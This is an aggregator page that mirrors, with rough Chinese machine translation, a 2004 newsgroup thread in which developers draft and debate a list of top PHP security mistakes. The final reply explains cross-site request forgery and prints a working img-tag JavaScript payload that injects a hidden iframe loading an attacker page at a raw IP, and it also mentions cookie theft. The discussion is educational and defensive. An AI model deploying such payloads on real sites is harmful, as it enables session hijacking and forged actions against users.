十大PHP安全问题,初步清单 [英] Top Ten PHP Security Issues, a preliminary list

查看:66
本文介绍了十大PHP安全问题,初步清单的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我的十大PHP安全问题草案清单。如你所见,

现在只有九个。我根据可以利用

漏洞的方式对它们进行了排名。这就是为什么客户端

脚本漏洞被列为2,3和4的原因,而SQL注入是列出的
7.列为数字1是可以说的所有

网络编程中最糟糕的错误:基于通过URL传递的

主键从数据库中提取信息,而不进行任何类型的访问检查。因为

即使是没有编程知识的人也可以利用这个漏洞,

它占据首位。


[鼓滚动]


1.在没有访问权限的情况下显示隐私信息

2.显示用户提供的文本而不转义HTML特殊

字符

3.允许用户提供图像的URL

4.处理表单数据而不检查页面引用者

5.复制上传的将文件放入可通过Web访问的目录中

6.使用GET / POST变量作为参数来包含/ require

7.将GET / POST变量插入到SQL语句中而不进行验证

8.将session_register()与敏感变量一起使用

9.在全局范围内执行受限操作

文件


使用register_globals不在列表中,因为潜在的问题

有效地涵盖了第6,7,8和9项(或者我是想想)。


我会为每一个写出更详细的描述,以及

可能的解决方案,并将它贴在网上的某个地方。希望它能为初学者提供有趣的阅读能力。感谢所有谁b / b
参与原始主题。其他评论肯定是

欢迎。

There''s my draft list of the top ten PHP security issues. As you can see,
there''s only nine right now. I''ve ranked them based on how readily the
vulnerability can be exploited. This is the reason why the client-side
scripting vulnerabilities are listed 2, 3, and 4, while SQL injection is
listed 7. Listed as number 1 is the arguably the lamest mistake in all
web-programming: pulling information from the database based on a
primary-key passed through the URL without any kind of access check. Because
even someone with no programming knowledge can take advantage of this hole,
it takes the top spot.

[drum roll]

1. Revealing private information without access check
2. Displaying user-provided text without escaping HTML special
characters
3. Allowing users to supply a URL for an image
4. Processing form data without checking the page referrer
5. Copying an uploaded file into a web-accessible directory
6. Using a GET/POST variable as parameter to include/require
7. Inserting GET/POST variables into SQL statements without validation
8. Using session_register() with sensitive variables
9. Performing restricted operations in the global scope of an include
file

The use of register_globals is not on the list, as the potential problems
are effectively covered by item 6, 7, 8, and 9 (or so I think).

I''ll write up a more detailed description for each of these, along with
possible solutions, and post it somewhere on the net. Hopefully it''ll be
interesting reading for beginners to the language. Thanks to all who
participated in the original thread. Additional comments are definitely
welcomed.

推荐答案

2004年2月11日星期三22:38:17 -0500," ; Chung Leong

< ch *********** @ hotmail.com>写道:
On Wed, 11 Feb 2004 22:38:17 -0500, "Chung Leong"
<ch***********@hotmail.com> wrote:
这是我的十大PHP安全问题草案清单。如你所见,现在只有九个。我根据可以利用
漏洞的方式对它们进行了排名。这就是为什么客户端的脚本漏洞被列为2,3和4的原因,而SQL注入被列为7.列为数字1可以说是所有网络编程:基于通过URL传递的主键从数据库中提取信息,而不进行任何类型的访问检查。因为即使是没有编程知识的人也可以利用这个漏洞,
它占据首位。

[鼓声]

1。无需访问检查即可显示隐私信息
2.显示用户提供的文本而不转义HTML特殊字符
3.允许用户提供图像的URL
4.处理表单数据不检查页面引用者
5.将上传的文件复制到Web可访问的目录中
6.使用GET / POST变量作为参数来包含/要求
7.插入GET / POST变量没有验证的SQL语句
8.将session_register()与敏感变量一起使用
9.在包含
文件的全局范围内执行受限操作
There''s my draft list of the top ten PHP security issues. As you can see,
there''s only nine right now. I''ve ranked them based on how readily the
vulnerability can be exploited. This is the reason why the client-side
scripting vulnerabilities are listed 2, 3, and 4, while SQL injection is
listed 7. Listed as number 1 is the arguably the lamest mistake in all
web-programming: pulling information from the database based on a
primary-key passed through the URL without any kind of access check. Because
even someone with no programming knowledge can take advantage of this hole,
it takes the top spot.

[drum roll]

1. Revealing private information without access check
2. Displaying user-provided text without escaping HTML special
characters
3. Allowing users to supply a URL for an image
4. Processing form data without checking the page referrer
5. Copying an uploaded file into a web-accessible directory
6. Using a GET/POST variable as parameter to include/require
7. Inserting GET/POST variables into SQL statements without validation
8. Using session_register() with sensitive variables
9. Performing restricted operations in the global scope of an include
file



10.将包含数据库连接信息的文件放在

可通过Web访问的目录中,但没有足够的保护。


我记得曾经去过至 http://www.experts-exchange.com/ 。他们使用

JSP,我们可以读取他们所有的代码。他们的服务器一定是

配置错误。哎呀!大约一个小时后它恢复正常。


-

David(@ priz.co.uk)



10. Putting the file that contains your database connection info in a
web-accessible directory without adequate protection.

I remember once going to http://www.experts-exchange.com/ . They use
JSPs and we could read all their code. Their server must have been
misconfigured. Oops! About an hour later it was back to normal.

--
David ( @priz.co.uk )


2004年2月11日星期三22:38:17 -0500,Chung Leong写道:

[snip]

On Wed, 11 Feb 2004 22:38:17 -0500, Chung Leong wrote:
[ snip ]

4.处理表单数据而不检查页面引用者
4. Processing form data without checking the page referrer



嗯..如果有人''防火墙' (我们在这里谈论windoze)blocks /

更改引荐来源作为其用户隐私/安全设置的一部分>?

Agnitum Outpost例如可以通过用

''替换它来阻止引用者**'或者其他东西。


我从未在windoze上使用过该功能。但是我知道很多人根据我的服务器日志做了b $ b。


我知道你不建议用_just_使用引用来验证,但是

IMO,引用者标题旁边无用,无论如何。同意,

人们不太可能想试图劫持自己的帐户,但他们

可以做到这一点当然(阻止引用者标题)因此

系统会因IMO而失败,假阳性。

只需我0.02英镑的价值=)


此致,


Ian


-

Ian.H

digiServ Network

伦敦,英国
http://digiserv.net/


Hmm.. and if someone''s "firewall" (we''re talking windoze here) blocks /
changes the referrer as part of it''s "user privacy / security setting"?
Agnitum Outpost for example can block the referrer by replacing it with
''**BLOCKED BY OUTPOST**'' or something.

I never used that feature on windoze.. but I know that many people do
judging from my server logs.

I know you''re not suggesting _just_ using the referrer for validation, but
IMO, the referrer header is next to useless for any consideration. Agreed,
people are unlikely to want to try and hijack their own account, but they
may do this as a matter of course (blocking the referrer header) and thus
the system would fall over for IMO, a "false-positive".
Just my £0.02 worth =)

Regards,

Ian

--
Ian.H
digiServ Network
London, UK
http://digiserv.net/




Uzytkownik" Ian.H" < ia*@WINDOZEdigiserv.net> napisal w wiadomosci

news:pa **************************** @ hybris.digiser v.net。 ..

Uzytkownik "Ian.H" <ia*@WINDOZEdigiserv.net> napisal w wiadomosci
news:pa****************************@hybris.digiser v.net...
嗯..如果有人''防火墙', (我们在这里谈论windoze)blocks /
将引用者更改为用户隐私/安全设置的一部分,例如Agnitum Outpost可以通过替换引用来阻止引用者
''**由OUTPOST封锁**''或其他东西。


嗯......很有意思。我不知道防火墙会这样做。

我知道你并不是建议_just_使用引荐来进行验证,但是IMO,引用者标题对于任何考虑都是无用的。同意,
人们不太可能想要劫持自己的帐户,但是他们可能会这样做(理论上阻止引用者标题),因此系统会摔倒对于IMO,一个假阳性。
Hmm.. and if someone''s "firewall" (we''re talking windoze here) blocks /
changes the referrer as part of it''s "user privacy / security setting"?
Agnitum Outpost for example can block the referrer by replacing it with
''**BLOCKED BY OUTPOST**'' or something.
Hmmm...Interesting. I didn''t know firewalls does that.
I know you''re not suggesting _just_ using the referrer for validation, but
IMO, the referrer header is next to useless for any consideration. Agreed,
people are unlikely to want to try and hijack their own account, but they
may do this as a matter of course (blocking the referrer header) and thus
the system would fall over for IMO, a "false-positive".




好​​吧,我不知道你怎么能阻止跨站点脚本
$有问题的b $ b漏洞,因为

合法POST请求与源自不同站点的恶意请求之间没有其他区别
来自HTTP引用者的
。我们可以解决防火墙/代理问题

,只拒绝有有效URL的请求,并且它不是本地服务器上的页面

。 br />

对那些没有关注原始线程的人进行重新攻击,攻击

的工作如下:


1.在网络论坛上,攻击者将URL发布到他控制的页面上。

2.受害者登录网络论坛

3.受害者看到链接,点击它。浏览器进入攻击页面

4.攻击页面在网络论坛上对脚本进行POST。浏览器

提供包含PHP会话ID的cookie,因为它看到

网络论坛是它的创建者。脚本看到受害者已登录并且

愉快地处理请求。为了隐藏正在发生的事情,攻击者可以在一个看不见的iframe中打开POST的页面(同时,受害者

愉快地读取'是'在主页上)。多个iframe可用于

最大化损害。


如果列表中的项目2或3出现在网站上,攻击可以是

在用户甚至没有点击链接的情况下启动。以下img标记,对于

示例,将在当前

文档中自动打开一个不可见的iframe:


< img

src =" javascript :d = document; a = d.createElement(''IFRA ME''); a.style.display =''none

''; a.src =''http://192.58.221.243/attack.php''; d.body.appendChild(a); m = d.images;

for(i = 0; i< m.length; i ++){a = m [i]; if(a.src.match(/ ^ javascript /))a.src =''http:// w

ww.google.com/images/logo.gif'';}">


在这种情况下,它更容易只是窃取cookie(通过document.cookie访问

)并劫持PHP会话。



Well, I don''t know how else you can stop the cross-site scripting
vulnerability in question, because there is no other distinction between a
legitimate POST request and a malious one originating from a different site
from the HTTP referrer. We can perhaps work around the firewall/proxy issue
by rejecting only requests where there is a valid URL and it''s not a page on
the local server.

Recapping for those who weren''t following the original thread, an attack
works as followed:

1. At a web forum, an attacker post a URL to a page he controls
2. Victim logs into web forum
3. Victim sees link, clicks on it. The browser goes to the attack page
4. The attack page does a POST to a script at the web forum. The browser
supplies the cookie containing the PHP session id because it sees that the
web forum is its creator. The script sees that the victim is logged in and
happily processes the request. To hide what''s going on, the attacker can put
the page that does the POST in an invisible iframe (meanwhile, the victim
happily reads what''s on the main page). Multiple iframes can be used to
maximize the damage.

If item 2 or 3 on the list are present at the site, the attack can be
launched without the user even clicking the link. The following img tag, for
example, would open up an invisible iframe automatically within the current
document:

<img
src="javascript:d=document;a=d.createElement(''IFRA ME'');a.style.display=''none
'';a.src=''http://192.58.221.243/attack.php'';d.body.appendChild(a);m=d.images;
for(i=0;i<m.length;i++){a=m[i];if(a.src.match(/^javascript/))a.src=''http://w
ww.google.com/images/logo.gif'';}">

In this situation though, it''s easier to just steal the cookie (accessible
via document.cookie) and hijack the PHP session.


这篇关于十大PHP安全问题,初步清单的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆